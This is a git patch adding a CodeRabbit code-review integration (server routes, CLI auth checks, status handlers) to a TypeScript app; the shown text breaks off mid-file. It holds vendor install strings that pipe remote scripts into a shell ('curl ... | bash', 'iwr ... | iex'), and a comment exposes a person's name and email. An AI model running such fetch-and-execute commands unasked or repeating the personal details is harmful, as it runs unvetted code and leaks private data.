From 5b620011ad3224c60f51b574d3e705f2f78a9354 Mon Sep 17 00:00:00 2001 From: Shirone Date: Sat, 24 Jan 2026 21:10:33 +0100 Subject: [PATCH] feat: add CodeRabbit integration for AI-powered code reviews This commit introduces the CodeRabbit service and its associated routes, enabling users to trigger, manage, and check the status of code reviews through a new API. Key features include: - New routes for triggering code reviews, checking status, and stopping reviews. - Integration with the CodeRabbit CLI for authentication and status checks. - UI components for displaying code review results and settings management. - Unit tests for the new code review functionality to ensure reliability. This enhancement aims to streamline the code review process and leverage AI capabilities for improved code quality. --- apps/server/src/index.ts | 4 + apps/server/src/lib/cli-detection.ts | 71 + apps/server/src/routes/code-review/common.ts | 78 ++ apps/server/src/routes/code-review/index.ts | 40 + .../routes/code-review/routes/providers.ts | 38 + .../src/routes/code-review/routes/status.ts | 32 + .../src/routes/code-review/routes/stop.ts | 54 + .../src/routes/code-review/routes/trigger.ts | 188 +++ apps/server/src/routes/setup/index.ts | 14 + .../routes/setup/routes/auth-coderabbit.ts | 80 ++ .../routes/setup/routes/coderabbit-status.ts | 240 ++++ .../routes/setup/routes/deauth-coderabbit.ts | 113 ++ apps/server/src/routes/setup/routes/status.ts | 249 ++++ .../setup/routes/verify-coderabbit-auth.ts | 163 +++ .../src/services/code-review-service.ts | 1244 +++++++++++++++++ apps/server/src/services/settings-service.ts | 7 + .../unit/routes/code-review/providers.test.ts | 196 +++ .../unit/routes/code-review/status.test.ts | 109 ++ .../unit/routes/code-review/stop.test.ts | 129 ++ .../unit/routes/code-review/trigger.test.ts | 384 +++++ .../unit/services/code-review-service.test.ts | 1048 ++++++++++++++ .../components/dialogs/code-review-dialog.tsx | 755 ++++++++++ apps/ui/src/components/dialogs/index.ts | 2 + apps/ui/src/components/ui/provider-icon.tsx | 12 + apps/ui/src/components/views/board-view.tsx | 67 + .../components/kanban-card/card-actions.tsx | 26 +- .../components/kanban-card/kanban-card.tsx | 3 + .../components/list-view/list-view.tsx | 1 + .../components/list-view/row-actions.tsx | 12 + .../views/board-view/kanban-board.tsx | 3 + .../ui/src/components/views/settings-view.tsx | 3 + .../cli-status/coderabbit-cli-status.tsx | 313 +++++ .../views/settings-view/config/navigation.ts | 9 +- .../settings-view/hooks/use-settings-view.ts | 1 + .../providers/coderabbit-settings-tab.tsx | 125 ++ .../views/settings-view/providers/index.ts | 1 + apps/ui/src/hooks/index.ts | 7 + apps/ui/src/hooks/use-code-review.ts | 400 ++++++ apps/ui/src/lib/electron.ts | 31 + apps/ui/src/lib/http-api-client.ts | 133 +- libs/types/src/code-review.ts | 184 +++ libs/types/src/event.ts | 3 +- libs/types/src/index.ts | 15 + libs/types/src/settings.ts | 3 + 44 files changed, 6582 insertions(+), 8 deletions(-) create mode 100644 apps/server/src/routes/code-review/common.ts create mode 100644 apps/server/src/routes/code-review/index.ts create mode 100644 apps/server/src/routes/code-review/routes/providers.ts create mode 100644 apps/server/src/routes/code-review/routes/status.ts create mode 100644 apps/server/src/routes/code-review/routes/stop.ts create mode 100644 apps/server/src/routes/code-review/routes/trigger.ts create mode 100644 apps/server/src/routes/setup/routes/auth-coderabbit.ts create mode 100644 apps/server/src/routes/setup/routes/coderabbit-status.ts create mode 100644 apps/server/src/routes/setup/routes/deauth-coderabbit.ts create mode 100644 apps/server/src/routes/setup/routes/status.ts create mode 100644 apps/server/src/routes/setup/routes/verify-coderabbit-auth.ts create mode 100644 apps/server/src/services/code-review-service.ts create mode 100644 apps/server/tests/unit/routes/code-review/providers.test.ts create mode 100644 apps/server/tests/unit/routes/code-review/status.test.ts create mode 100644 apps/server/tests/unit/routes/code-review/stop.test.ts create mode 100644 apps/server/tests/unit/routes/code-review/trigger.test.ts create mode 100644 apps/server/tests/unit/services/code-review-service.test.ts create mode 100644 apps/ui/src/components/dialogs/code-review-dialog.tsx create mode 100644 apps/ui/src/components/views/settings-view/cli-status/coderabbit-cli-status.tsx create mode 100644 apps/ui/src/components/views/settings-view/providers/coderabbit-settings-tab.tsx create mode 100644 apps/ui/src/hooks/use-code-review.ts create mode 100644 libs/types/src/code-review.ts diff --git a/apps/server/src/index.ts b/apps/server/src/index.ts index d90c7a36..03e666ad 100644 --- a/apps/server/src/index.ts +++ b/apps/server/src/index.ts @@ -83,6 +83,8 @@ import { createNotificationsRoutes } from './routes/notifications/index.js'; import { getNotificationService } from './services/notification-service.js'; import { createEventHistoryRoutes } from './routes/event-history/index.js'; import { getEventHistoryService } from './services/event-history-service.js'; +import { createCodeReviewRoutes } from './routes/code-review/index.js'; +import { CodeReviewService } from './services/code-review-service.js'; // Load environment variables dotenv.config(); @@ -209,6 +211,7 @@ const codexModelCacheService = new CodexModelCacheService(DATA_DIR, codexAppServ const codexUsageService = new CodexUsageService(codexAppServerService); const mcpTestService = new MCPTestService(settingsService); const ideationService = new IdeationService(events, settingsService, featureLoader); +const codeReviewService = new CodeReviewService(events, settingsService); // Initialize DevServerService with event emitter for real-time log streaming const devServerService = getDevServerService(); @@ -300,6 +303,7 @@ app.use('/api/pipeline', createPipelineRoutes(pipelineService)); app.use('/api/ideation', createIdeationRoutes(events, ideationService, featureLoader)); app.use('/api/notifications', createNotificationsRoutes(notificationService)); app.use('/api/event-history', createEventHistoryRoutes(eventHistoryService, settingsService)); +app.use('/api/code-review', createCodeReviewRoutes(codeReviewService)); // Create HTTP server const server = createServer(app); diff --git a/apps/server/src/lib/cli-detection.ts b/apps/server/src/lib/cli-detection.ts index eba4c68a..9cead97c 100644 --- a/apps/server/src/lib/cli-detection.ts +++ b/apps/server/src/lib/cli-detection.ts @@ -40,6 +40,7 @@ export interface UnifiedCliDetection { claude?: CliDetectionResult; codex?: CliDetectionResult; cursor?: CliDetectionResult; + coderabbit?: CliDetectionResult; } /** @@ -76,6 +77,16 @@ const CLI_CONFIGS = { win32: 'iwr https://cursor.sh/install.ps1 -UseBasicParsing | iex', }, }, + coderabbit: { + name: 'CodeRabbit CLI', + commands: ['coderabbit', 'cr'], + versionArgs: ['--version'], + installCommands: { + darwin: 'npm install -g coderabbit', + linux: 'npm install -g coderabbit', + win32: 'npm install -g coderabbit', + }, + }, } as const; /** @@ -230,6 +241,8 @@ export async function checkCliAuth( return await checkCodexAuth(command); case 'cursor': return await checkCursorAuth(command); + case 'coderabbit': + return await checkCodeRabbitAuth(command); default: return 'none'; } @@ -355,6 +368,64 @@ async function checkCursorAuth(command: string): Promise<'cli' | 'api_key' | 'no return 'none'; } +/** + * Check CodeRabbit CLI authentication + * + * Expected output when authenticated: + * ``` + * CodeRabbit CLI Status + * ✅ Authentication: Logged in + * User Information: + * 👤 Name: ... + * ``` + */ +async function checkCodeRabbitAuth(command: string): Promise<'cli' | 'api_key' | 'none'> { + // Check for environment variable + if (process.env.CODERABBIT_API_KEY) { + return 'api_key'; + } + + // Try running auth status command + return new Promise((resolve) => { + const child = spawn(command, ['auth', 'status'], { + stdio: 'pipe', + timeout: 10000, // Increased timeout for slower systems + }); + + let stdout = ''; + let stderr = ''; + + child.stdout?.on('data', (data) => { + stdout += data.toString(); + }); + + child.stderr?.on('data', (data) => { + stderr += data.toString(); + }); + + child.on('close', (code) => { + const output = stdout + stderr; + + // Check for positive authentication indicators in output + const isAuthenticated = + code === 0 && + (output.includes('Logged in') || output.includes('logged in')) && + !output.toLowerCase().includes('not logged in') && + !output.toLowerCase().includes('not authenticated'); + + if (isAuthenticated) { + resolve('cli'); + } else { + resolve('none'); + } + }); + + child.on('error', () => { + resolve('none'); + }); + }); +} + /** * Get installation instructions for a provider */ diff --git a/apps/server/src/routes/code-review/common.ts b/apps/server/src/routes/code-review/common.ts new file mode 100644 index 00000000..493e0b88 --- /dev/null +++ b/apps/server/src/routes/code-review/common.ts @@ -0,0 +1,78 @@ +/** + * Common utilities for code-review routes + */ + +import { createLogger } from '@automaker/utils'; +import { getErrorMessage as getErrorMessageShared, createLogError } from '../common.js'; + +const logger = createLogger('CodeReview'); + +// Re-export shared utilities +export { getErrorMessageShared as getErrorMessage }; +export const logError = createLogError(logger); + +/** + * Review state interface + */ +interface ReviewState { + isRunning: boolean; + abortController: AbortController | null; + projectPath: string | null; +} + +/** + * Shared state for code review operations + * Using an object to avoid mutable `let` exports which can cause issues in ES modules + */ +const reviewState: ReviewState = { + isRunning: false, + abortController: null, + projectPath: null, +}; + +/** + * Check if a review is currently running + */ +export function isRunning(): boolean { + return reviewState.isRunning; +} + +/** + * Get the current abort controller (for stopping reviews) + */ +export function getAbortController(): AbortController | null { + return reviewState.abortController; +} + +/** + * Get the current project path being reviewed + */ +export function getCurrentProjectPath(): string | null { + return reviewState.projectPath; +} + +/** + * Set the running state for code review operations + */ +export function setRunningState( + running: boolean, + controller: AbortController | null = null, + projectPath: string | null = null +): void { + reviewState.isRunning = running; + reviewState.abortController = controller; + reviewState.projectPath = projectPath; +} + +/** + * Get the current review status + */ +export function getReviewStatus(): { + isRunning: boolean; + projectPath: string | null; +} { + return { + isRunning: reviewState.isRunning, + projectPath: reviewState.projectPath, + }; +} diff --git a/apps/server/src/routes/code-review/index.ts b/apps/server/src/routes/code-review/index.ts new file mode 100644 index 00000000..fd8c44cc --- /dev/null +++ b/apps/server/src/routes/code-review/index.ts @@ -0,0 +1,40 @@ +/** + * Code Review routes - HTTP API for triggering and managing code reviews + * + * Provides endpoints for: + * - Triggering code reviews on projects + * - Checking review status + * - Stopping in-progress reviews + * + * Uses the CodeReviewService for actual review execution with AI providers. + */ + +import { Router } from 'express'; +import type { CodeReviewService } from '../../services/code-review-service.js'; +import { validatePathParams } from '../../middleware/validate-paths.js'; +import { createTriggerHandler } from './routes/trigger.js'; +import { createStatusHandler } from './routes/status.js'; +import { createStopHandler } from './routes/stop.js'; +import { createProvidersHandler } from './routes/providers.js'; + +export function createCodeReviewRoutes(codeReviewService: CodeReviewService): Router { + const router = Router(); + + // POST /trigger - Start a new code review + router.post( + '/trigger', + validatePathParams('projectPath'), + createTriggerHandler(codeReviewService) + ); + + // GET /status - Get current review status + router.get('/status', createStatusHandler()); + + // POST /stop - Stop current review + router.post('/stop', createStopHandler()); + + // GET /providers - Get available providers and their status + router.get('/providers', createProvidersHandler(codeReviewService)); + + return router; +} diff --git a/apps/server/src/routes/code-review/routes/providers.ts b/apps/server/src/routes/code-review/routes/providers.ts new file mode 100644 index 00000000..dc3aaada --- /dev/null +++ b/apps/server/src/routes/code-review/routes/providers.ts @@ -0,0 +1,38 @@ +/** + * GET /providers endpoint - Get available code review providers + * + * Returns the status of all available AI providers that can be used for code reviews. + */ + +import type { Request, Response } from 'express'; +import type { CodeReviewService } from '../../../services/code-review-service.js'; +import { createLogger } from '@automaker/utils'; +import { getErrorMessage, logError } from '../common.js'; + +const logger = createLogger('CodeReview'); + +export function createProvidersHandler(codeReviewService: CodeReviewService) { + return async (req: Request, res: Response): Promise => { + logger.debug('========== /providers endpoint called =========='); + + try { + // Check if refresh is requested + const forceRefresh = req.query.refresh === 'true'; + + const providers = await codeReviewService.getProviderStatus(forceRefresh); + const bestProvider = await codeReviewService.getBestProvider(); + + res.json({ + success: true, + providers, + recommended: bestProvider, + }); + } catch (error) { + logError(error, 'Providers handler exception'); + res.status(500).json({ + success: false, + error: getErrorMessage(error), + }); + } + }; +} diff --git a/apps/server/src/routes/code-review/routes/status.ts b/apps/server/src/routes/code-review/routes/status.ts new file mode 100644 index 00000000..2af5abce --- /dev/null +++ b/apps/server/src/routes/code-review/routes/status.ts @@ -0,0 +1,32 @@ +/** + * GET /status endpoint - Get current code review status + * + * Returns whether a code review is currently running and which project. + */ + +import type { Request, Response } from 'express'; +import { createLogger } from '@automaker/utils'; +import { getReviewStatus, getErrorMessage, logError } from '../common.js'; + +const logger = createLogger('CodeReview'); + +export function createStatusHandler() { + return async (_req: Request, res: Response): Promise => { + logger.debug('========== /status endpoint called =========='); + + try { + const status = getReviewStatus(); + + res.json({ + success: true, + ...status, + }); + } catch (error) { + logError(error, 'Status handler exception'); + res.status(500).json({ + success: false, + error: getErrorMessage(error), + }); + } + }; +} diff --git a/apps/server/src/routes/code-review/routes/stop.ts b/apps/server/src/routes/code-review/routes/stop.ts new file mode 100644 index 00000000..6495013c --- /dev/null +++ b/apps/server/src/routes/code-review/routes/stop.ts @@ -0,0 +1,54 @@ +/** + * POST /stop endpoint - Stop the current code review + * + * Aborts any running code review operation. + */ + +import type { Request, Response } from 'express'; +import { createLogger } from '@automaker/utils'; +import { + isRunning, + getAbortController, + setRunningState, + getErrorMessage, + logError, +} from '../common.js'; + +const logger = createLogger('CodeReview'); + +export function createStopHandler() { + return async (_req: Request, res: Response): Promise => { + logger.info('========== /stop endpoint called =========='); + + try { + if (!isRunning()) { + res.json({ + success: true, + message: 'No code review is currently running', + }); + return; + } + + // Abort the current operation + const abortController = getAbortController(); + if (abortController) { + abortController.abort(); + logger.info('Code review aborted'); + } + + // Reset state + setRunningState(false, null, null); + + res.json({ + success: true, + message: 'Code review stopped', + }); + } catch (error) { + logError(error, 'Stop handler exception'); + res.status(500).json({ + success: false, + error: getErrorMessage(error), + }); + } + }; +} diff --git a/apps/server/src/routes/code-review/routes/trigger.ts b/apps/server/src/routes/code-review/routes/trigger.ts new file mode 100644 index 00000000..48d5c92a --- /dev/null +++ b/apps/server/src/routes/code-review/routes/trigger.ts @@ -0,0 +1,188 @@ +/** + * POST /trigger endpoint - Trigger a code review + * + * Starts an asynchronous code review on the specified project. + * Progress updates are streamed via WebSocket events. + */ + +import type { Request, Response } from 'express'; +import type { CodeReviewService } from '../../../services/code-review-service.js'; +import type { CodeReviewCategory, ThinkingLevel, ModelId } from '@automaker/types'; +import { createLogger } from '@automaker/utils'; +import { isRunning, setRunningState, getErrorMessage, logError } from '../common.js'; + +const logger = createLogger('CodeReview'); + +/** + * Maximum number of files allowed per review request + */ +const MAX_FILES_PER_REQUEST = 100; + +/** + * Maximum length for baseRef parameter + */ +const MAX_BASE_REF_LENGTH = 256; + +/** + * Valid categories for code review + */ +const VALID_CATEGORIES: CodeReviewCategory[] = [ + 'tech_stack', + 'security', + 'code_quality', + 'implementation', + 'architecture', + 'performance', + 'testing', + 'documentation', +]; + +/** + * Valid thinking levels + */ +const VALID_THINKING_LEVELS: ThinkingLevel[] = ['low', 'medium', 'high']; + +interface TriggerRequestBody { + projectPath: string; + files?: string[]; + baseRef?: string; + categories?: CodeReviewCategory[]; + autoFix?: boolean; + model?: ModelId; + thinkingLevel?: ThinkingLevel; +} + +/** + * Validate and sanitize the request body + */ +function validateRequestBody(body: TriggerRequestBody): { valid: boolean; error?: string } { + const { files, baseRef, categories, autoFix, thinkingLevel } = body; + + // Validate files array + if (files !== undefined) { + if (!Array.isArray(files)) { + return { valid: false, error: 'files must be an array' }; + } + if (files.length > MAX_FILES_PER_REQUEST) { + return { valid: false, error: `Maximum ${MAX_FILES_PER_REQUEST} files allowed per request` }; + } + for (const file of files) { + if (typeof file !== 'string') { + return { valid: false, error: 'Each file must be a string' }; + } + if (file.length > 500) { + return { valid: false, error: 'File path too long' }; + } + } + } + + // Validate baseRef + if (baseRef !== undefined) { + if (typeof baseRef !== 'string') { + return { valid: false, error: 'baseRef must be a string' }; + } + if (baseRef.length > MAX_BASE_REF_LENGTH) { + return { valid: false, error: 'baseRef is too long' }; + } + } + + // Validate categories + if (categories !== undefined) { + if (!Array.isArray(categories)) { + return { valid: false, error: 'categories must be an array' }; + } + for (const category of categories) { + if (!VALID_CATEGORIES.includes(category)) { + return { valid: false, error: `Invalid category: ${category}` }; + } + } + } + + // Validate autoFix + if (autoFix !== undefined && typeof autoFix !== 'boolean') { + return { valid: false, error: 'autoFix must be a boolean' }; + } + + // Validate thinkingLevel + if (thinkingLevel !== undefined) { + if (!VALID_THINKING_LEVELS.includes(thinkingLevel)) { + return { valid: false, error: `Invalid thinkingLevel: ${thinkingLevel}` }; + } + } + + return { valid: true }; +} + +export function createTriggerHandler(codeReviewService: CodeReviewService) { + return async (req: Request, res: Response): Promise => { + logger.info('========== /trigger endpoint called =========='); + + try { + const body = req.body as TriggerRequestBody; + const { projectPath, files, baseRef, categories, autoFix, model, thinkingLevel } = body; + + // Validate required parameters + if (!projectPath) { + res.status(400).json({ + success: false, + error: 'projectPath is required', + }); + return; + } + + // SECURITY: Validate all input parameters + const validation = validateRequestBody(body); + if (!validation.valid) { + res.status(400).json({ + success: false, + error: validation.error, + }); + return; + } + + // Check if a review is already running + if (isRunning()) { + res.status(409).json({ + success: false, + error: 'A code review is already in progress', + }); + return; + } + + // Set up abort controller for cancellation + const abortController = new AbortController(); + setRunningState(true, abortController, projectPath); + + // Start the review in the background + codeReviewService + .executeReview({ + projectPath, + files, + baseRef, + categories, + autoFix, + model, + thinkingLevel, + abortController, + }) + .catch((error) => { + logError(error, 'Code review failed'); + }) + .finally(() => { + setRunningState(false, null, null); + }); + + // Return immediate response + res.json({ + success: true, + message: 'Code review started', + }); + } catch (error) { + logError(error, 'Trigger handler exception'); + res.status(500).json({ + success: false, + error: getErrorMessage(error), + }); + } + }; +} diff --git a/apps/server/src/routes/setup/index.ts b/apps/server/src/routes/setup/index.ts index a35c5e6b..cf4bfcc3 100644 --- a/apps/server/src/routes/setup/index.ts +++ b/apps/server/src/routes/setup/index.ts @@ -3,6 +3,7 @@ */ import { Router } from 'express'; +import { createStatusHandler } from './routes/status.js'; import { createClaudeStatusHandler } from './routes/claude-status.js'; import { createInstallClaudeHandler } from './routes/install-claude.js'; import { createAuthClaudeHandler } from './routes/auth-claude.js'; @@ -12,6 +13,10 @@ import { createApiKeysHandler } from './routes/api-keys.js'; import { createPlatformHandler } from './routes/platform.js'; import { createVerifyClaudeAuthHandler } from './routes/verify-claude-auth.js'; import { createVerifyCodexAuthHandler } from './routes/verify-codex-auth.js'; +import { createVerifyCodeRabbitAuthHandler } from './routes/verify-coderabbit-auth.js'; +import { createCodeRabbitStatusHandler } from './routes/coderabbit-status.js'; +import { createAuthCodeRabbitHandler } from './routes/auth-coderabbit.js'; +import { createDeauthCodeRabbitHandler } from './routes/deauth-coderabbit.js'; import { createGhStatusHandler } from './routes/gh-status.js'; import { createCursorStatusHandler } from './routes/cursor-status.js'; import { createCodexStatusHandler } from './routes/codex-status.js'; @@ -44,6 +49,9 @@ import { export function createSetupRoutes(): Router { const router = Router(); + // Unified CLI status endpoint + router.get('/status', createStatusHandler()); + router.get('/claude-status', createClaudeStatusHandler()); router.post('/install-claude', createInstallClaudeHandler()); router.post('/auth-claude', createAuthClaudeHandler()); @@ -54,6 +62,7 @@ export function createSetupRoutes(): Router { router.get('/platform', createPlatformHandler()); router.post('/verify-claude-auth', createVerifyClaudeAuthHandler()); router.post('/verify-codex-auth', createVerifyCodexAuthHandler()); + router.post('/verify-coderabbit-auth', createVerifyCodeRabbitAuthHandler()); router.get('/gh-status', createGhStatusHandler()); // Cursor CLI routes @@ -72,6 +81,11 @@ export function createSetupRoutes(): Router { router.post('/auth-opencode', createAuthOpencodeHandler()); router.post('/deauth-opencode', createDeauthOpencodeHandler()); + // CodeRabbit CLI routes + router.get('/coderabbit-status', createCodeRabbitStatusHandler()); + router.post('/auth-coderabbit', createAuthCodeRabbitHandler()); + router.post('/deauth-coderabbit', createDeauthCodeRabbitHandler()); + // OpenCode Dynamic Model Discovery routes router.get('/opencode/models', createGetOpencodeModelsHandler()); router.post('/opencode/models/refresh', createRefreshOpencodeModelsHandler()); diff --git a/apps/server/src/routes/setup/routes/auth-coderabbit.ts b/apps/server/src/routes/setup/routes/auth-coderabbit.ts new file mode 100644 index 00000000..8d687007 --- /dev/null +++ b/apps/server/src/routes/setup/routes/auth-coderabbit.ts @@ -0,0 +1,80 @@ +/** + * POST /auth-coderabbit endpoint - Authenticate CodeRabbit CLI via OAuth + * + * CodeRabbit CLI requires interactive authentication: + * 1. Run `cr auth login` + * 2. Browser opens with OAuth flow + * 3. After browser auth, CLI shows a token + * 4. User must press Enter to confirm + * + * Since step 4 requires interactive input, we can't fully automate this. + * Instead, we provide the command for the user to run manually. + */ + +import type { Request, Response } from 'express'; +import { execSync } from 'child_process'; +import { logError, getErrorMessage } from '../common.js'; +import * as fs from 'fs'; +import * as path from 'path'; + +/** + * Find the CodeRabbit CLI command (coderabbit or cr) + */ +function findCodeRabbitCommand(): string | null { + const commands = ['coderabbit', 'cr']; + for (const command of commands) { + try { + const whichCommand = process.platform === 'win32' ? 'where' : 'which'; + const result = execSync(`${whichCommand} ${command}`, { + encoding: 'utf8', + timeout: 2000, + }).trim(); + if (result) { + return result.split('\n')[0]; + } + } catch { + // Command not found, try next + } + } + return null; +} + +export function createAuthCodeRabbitHandler() { + return async (_req: Request, res: Response): Promise => { + try { + // Remove the disconnected marker file to reconnect the app to the CLI + const markerPath = path.join(process.cwd(), '.automaker', '.coderabbit-disconnected'); + if (fs.existsSync(markerPath)) { + fs.unlinkSync(markerPath); + } + + // Find CodeRabbit CLI + const cliPath = findCodeRabbitCommand(); + if (!cliPath) { + res.status(400).json({ + success: false, + error: 'CodeRabbit CLI is not installed. Please install it first.', + }); + return; + } + + // CodeRabbit CLI requires interactive input (pressing Enter after OAuth) + // We can't automate this, so we return the command for the user to run + const command = cliPath.includes('coderabbit') ? 'coderabbit auth login' : 'cr auth login'; + + res.json({ + success: true, + requiresManualAuth: true, + command, + message: `Please run "${command}" in your terminal to authenticate. After completing OAuth in your browser, press Enter in the terminal to confirm.`, + }); + } catch (error) { + logError(error, 'Auth CodeRabbit failed'); + res.status(500).json({ + success: false, + error: getErrorMessage(error), + message: 'Failed to initiate CodeRabbit authentication', + }); + } + }; +} diff --git a/apps/server/src/routes/setup/routes/coderabbit-status.ts b/apps/server/src/routes/setup/routes/coderabbit-status.ts new file mode 100644 index 00000000..6dcefbea --- /dev/null +++ b/apps/server/src/routes/setup/routes/coderabbit-status.ts @@ -0,0 +1,240 @@ +/** + * GET /coderabbit-status endpoint - Get CodeRabbit CLI installation and auth status + */ + +import type { Request, Response } from 'express'; +import { spawn, execSync } from 'child_process'; +import { getErrorMessage, logError } from '../common.js'; +import * as fs from 'fs'; +import * as path from 'path'; + +const DISCONNECTED_MARKER_FILE = '.coderabbit-disconnected'; + +function isCodeRabbitDisconnectedFromApp(): boolean { + try { + const projectRoot = process.cwd(); + const markerPath = path.join(projectRoot, '.automaker', DISCONNECTED_MARKER_FILE); + return fs.existsSync(markerPath); + } catch { + return false; + } +} + +/** + * Find the CodeRabbit CLI command (coderabbit or cr) + */ +function findCodeRabbitCommand(): string | null { + const commands = ['coderabbit', 'cr']; + for (const command of commands) { + try { + const whichCommand = process.platform === 'win32' ? 'where' : 'which'; + const result = execSync(`${whichCommand} ${command}`, { + encoding: 'utf8', + timeout: 2000, + }).trim(); + if (result) { + return result.split('\n')[0]; + } + } catch { + // Command not found, try next + } + } + return null; +} + +/** + * Get CodeRabbit CLI version + */ +async function getCodeRabbitVersion(command: string): Promise { + return new Promise((resolve) => { + const child = spawn(command, ['--version'], { + stdio: 'pipe', + timeout: 5000, + }); + + let stdout = ''; + child.stdout?.on('data', (data) => { + stdout += data.toString(); + }); + + child.on('close', (code) => { + if (code === 0 && stdout) { + resolve(stdout.trim()); + } else { + resolve(null); + } + }); + + child.on('error', () => { + resolve(null); + }); + }); +} + +interface CodeRabbitAuthInfo { + authenticated: boolean; + method: 'oauth' | 'none'; + username?: string; + email?: string; + organization?: string; +} + +/** + * Check CodeRabbit CLI authentication status + * Parses output like: + * ``` + * CodeRabbit CLI Status + * ✅ Authentication: Logged in + * User Information: + * 👤 Name: Kacper + * 📧 Email: kacperlachowiczwp.pl@wp.pl + * 🔧 Username: Shironex + * Organization Information: + * 🏢 Name: Anime-World-SPZOO + * ``` + */ +async function getCodeRabbitAuthStatus(command: string): Promise { + return new Promise((resolve) => { + const child = spawn(command, ['auth', 'status'], { + stdio: 'pipe', + timeout: 10000, + }); + + let stdout = ''; + let stderr = ''; + + child.stdout?.on('data', (data) => { + stdout += data.toString(); + }); + + child.stderr?.on('data', (data) => { + stderr += data.toString(); + }); + + child.on('close', (code) => { + const output = stdout + stderr; + + // Check for "Logged in" in Authentication line + const isAuthenticated = + code === 0 && + (output.includes('Logged in') || output.includes('logged in')) && + !output.toLowerCase().includes('not logged in'); + + if (isAuthenticated) { + // Parse the structured output format + // Username: look for "Username: " line + const usernameMatch = output.match(/Username:\s*(\S+)/i); + // Email: look for "Email: " line + const emailMatch = output.match(/Email:\s*(\S+@\S+)/i); + // Organization: look for "Name: " under Organization Information + // The org name appears after "Organization Information:" section + const orgSection = output.split(/Organization Information:/i)[1]; + const orgMatch = orgSection?.match(/Name:\s*(.+?)(?:\n|$)/i); + + resolve({ + authenticated: true, + method: 'oauth', + username: usernameMatch?.[1]?.trim(), + email: emailMatch?.[1]?.trim(), + organization: orgMatch?.[1]?.trim(), + }); + } else { + resolve({ + authenticated: false, + method: 'none', + }); + } + }); + + child.on('error', () => { + resolve({ + authenticated: false, + method: 'none', + }); + }); + }); +} + +/** + * Creates handler for GET /api/setup/coderabbit-status + * Returns CodeRabbit CLI installation and authentication status + */ +export function createCodeRabbitStatusHandler() { + const installCommand = 'npm install -g coderabbit'; + const loginCommand = 'coderabbit auth login'; + + return async (_req: Request, res: Response): Promise => { + try { + // Check if user has manually disconnected from the app + if (isCodeRabbitDisconnectedFromApp()) { + res.json({ + success: true, + installed: true, + version: null, + path: null, + auth: { + authenticated: false, + method: 'none', + }, + recommendation: 'CodeRabbit CLI is disconnected. Click Sign In to reconnect.', + installCommand, + loginCommand, + }); + return; + } + + // Find CodeRabbit CLI + const cliPath = findCodeRabbitCommand(); + + if (!cliPath) { + res.json({ + success: true, + installed: false, + version: null, + path: null, + auth: { + authenticated: false, + method: 'none', + }, + recommendation: 'Install CodeRabbit CLI to enable AI-powered code reviews.', + installCommand, + loginCommand, + installCommands: { + macos: 'curl -fsSL https://coderabbit.ai/install | bash', + npm: installCommand, + }, + }); + return; + } + + // Get version + const version = await getCodeRabbitVersion(cliPath); + + // Get auth status + const authStatus = await getCodeRabbitAuthStatus(cliPath); + + res.json({ + success: true, + installed: true, + version, + path: cliPath, + auth: authStatus, + recommendation: authStatus.authenticated + ? undefined + : 'Sign in to CodeRabbit to enable AI-powered code reviews.', + installCommand, + loginCommand, + installCommands: { + macos: 'curl -fsSL https://coderabbit.ai/install | bash', + npm: installCommand, + }, + }); + } catch (error) { + logError(error, 'Get CodeRabbit status failed'); + res.status(500).json({ + success: false, + error: getErrorMessage(error), + }); + } + }; +} diff --git a/apps/server/src/routes/setup/routes/deauth-coderabbit.ts b/apps/server/src/routes/setup/routes/deauth-coderabbit.ts new file mode 100644 index 00000000..a39fe879 --- /dev/null +++ b/apps/server/src/routes/setup/routes/deauth-coderabbit.ts @@ -0,0 +1,113 @@ +/** + * POST /deauth-coderabbit endpoint - Sign out from CodeRabbit CLI + */ + +import type { Request, Response } from 'express'; +import { spawn, execSync } from 'child_process'; +import { logError, getErrorMessage } from '../common.js'; +import * as fs from 'fs'; +import * as path from 'path'; + +/** + * Find the CodeRabbit CLI command (coderabbit or cr) + */ +function findCodeRabbitCommand(): string | null { + const commands = ['coderabbit', 'cr']; + for (const command of commands) { + try { + const whichCommand = process.platform === 'win32' ? 'where' : 'which'; + const result = execSync(`${whichCommand} ${command}`, { + encoding: 'utf8', + timeout: 2000, + }).trim(); + if (result) { + return result.split('\n')[0]; + } + } catch { + // Command not found, try next + } + } + return null; +} + +export function createDeauthCodeRabbitHandler() { + return async (_req: Request, res: Response): Promise => { + try { + // Find CodeRabbit CLI + const cliPath = findCodeRabbitCommand(); + + if (cliPath) { + // Try to run the CLI logout command + const logoutResult = await new Promise<{ success: boolean; error?: string }>((resolve) => { + const child = spawn(cliPath, ['auth', 'logout'], { + stdio: 'pipe', + timeout: 10000, + }); + + let stderr = ''; + child.stderr?.on('data', (data) => { + stderr += data.toString(); + }); + + child.on('close', (code) => { + if (code === 0) { + resolve({ success: true }); + } else { + resolve({ success: false, error: stderr || 'Logout command failed' }); + } + }); + + child.on('error', (err) => { + resolve({ success: false, error: err.message }); + }); + }); + + if (!logoutResult.success) { + // CLI logout failed, create marker file as fallback + const automakerDir = path.join(process.cwd(), '.automaker'); + const markerPath = path.join(automakerDir, '.coderabbit-disconnected'); + + if (!fs.existsSync(automakerDir)) { + fs.mkdirSync(automakerDir, { recursive: true }); + } + + fs.writeFileSync( + markerPath, + JSON.stringify({ + disconnectedAt: new Date().toISOString(), + message: 'CodeRabbit CLI is disconnected from the app', + }) + ); + } + } else { + // CLI not installed, just create marker file + const automakerDir = path.join(process.cwd(), '.automaker'); + const markerPath = path.join(automakerDir, '.coderabbit-disconnected'); + + if (!fs.existsSync(automakerDir)) { + fs.mkdirSync(automakerDir, { recursive: true }); + } + + fs.writeFileSync( + markerPath, + JSON.stringify({ + disconnectedAt: new Date().toISOString(), + message: 'CodeRabbit CLI is disconnected from the app', + }) + ); + } + + res.json({ + success: true, + message: 'Successfully signed out from CodeRabbit CLI', + }); + } catch (error) { + logError(error, 'Deauth CodeRabbit failed'); + res.status(500).json({ + success: false, + error: getErrorMessage(error), + message: 'Failed to sign out from CodeRabbit CLI', + }); + } + }; +} diff --git a/apps/server/src/routes/setup/routes/status.ts b/apps/server/src/routes/setup/routes/status.ts new file mode 100644 index 00000000..2ad386a9 --- /dev/null +++ b/apps/server/src/routes/setup/routes/status.ts @@ -0,0 +1,249 @@ +/** + * GET /status endpoint - Get unified CLI availability status + * + * Returns the installation and authentication status of all supported CLIs + * in a single response. This is useful for quickly determining which + * providers are available without making multiple API calls. + */ + +import type { Request, Response } from 'express'; +import { getClaudeStatus } from '../get-claude-status.js'; +import { getErrorMessage, logError } from '../common.js'; +import { CursorProvider } from '../../../providers/cursor-provider.js'; +import { CodexProvider } from '../../../providers/codex-provider.js'; +import { 